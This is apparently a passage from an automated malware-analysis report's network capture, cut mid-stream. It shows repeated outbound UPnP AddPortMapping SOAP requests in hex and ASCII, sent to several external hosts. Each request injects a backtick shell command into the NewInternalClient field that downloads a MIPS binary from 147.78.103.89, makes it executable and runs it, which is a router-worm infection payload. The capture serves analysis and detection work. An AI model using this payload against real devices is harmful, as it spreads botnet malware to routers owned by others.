3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:30.166416883 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      188192.168.2.155505291.235.64.7152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:26.071805000 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:27.254525900 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:28.630445004 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:31.446345091 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      189192.168.2.155149445.192.222.21052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:26.370106936 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:28.182497025 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 